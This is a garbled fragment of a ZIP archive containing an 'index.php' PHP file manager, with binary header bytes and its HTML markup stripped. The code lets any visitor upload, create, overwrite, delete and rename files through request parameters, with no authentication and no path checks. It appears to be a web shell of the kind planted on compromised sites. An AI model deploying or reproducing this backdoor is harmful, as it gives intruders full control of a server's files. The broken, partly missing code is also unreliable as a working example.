PK ¾ØZ@ jØÄ Ä 271339/index.phpnu „[µü¤ Current Directory: $path
File uploaded successfully!
"; } else { echo "Failed to upload file.
"; } } } function createNewFolder($path) { if (!empty($_POST['folder_name'])) { $folderPath = $path . DIRECTORY_SEPARATOR . $_POST['folder_name']; if (!file_exists($folderPath)) { mkdir($folderPath); echo "Folder created: {$_POST['folder_name']}
"; } else { echo "Folder already exists.
"; } } } function createNewFile($path) { if (!empty($_POST['file_name'])) { $filePath = $path . DIRECTORY_SEPARATOR . $_POST['file_name']; if (!file_exists($filePath)) { file_put_contents($filePath, ''); echo "File created: {$_POST['file_name']}
"; } else { echo "File already exists.
"; } } } function editFile($filePath) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) { file_put_contents($filePath, $_POST['content']); echo "File updated successfully!
"; } $content = file_exists($filePath) ? htmlspecialchars(file_get_contents($filePath)) : ''; echo ""; } function deleteFile($filePath) { if (file_exists($filePath)) { unlink($filePath); echo "File deleted successfully.
"; } } function renameItem($filePath) { if (!empty($_POST['new_name'])) { $newPath = dirname($filePath) . DIRECTORY_SEPARATOR . $_POST['new_name']; if (rename($filePath, $newPath)) { echo "Item renamed successfully.
"; } else { echo "Failed to rename item.
"; } } else { echo ""; } } if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['file'])) { handleFileUpload($path); } elseif (isset($_POST['folder_name'])) { createNewFolder($path); } elseif (isset($_POST['file_name'])) { createNewFile($path); } } if (isset($_GET['action']) && isset($_GET['item'])) { $itemPath = $path . DIRECTORY_SEPARATOR . $_GET['item']; switch ($_GET['action']) { case 'edit': editFile($itemPath); break; case 'delete': deleteFile($itemPath); break; case 'rename': renameItem($itemPath); break; } } echo "Go Up"; displayDirectory($path); echo "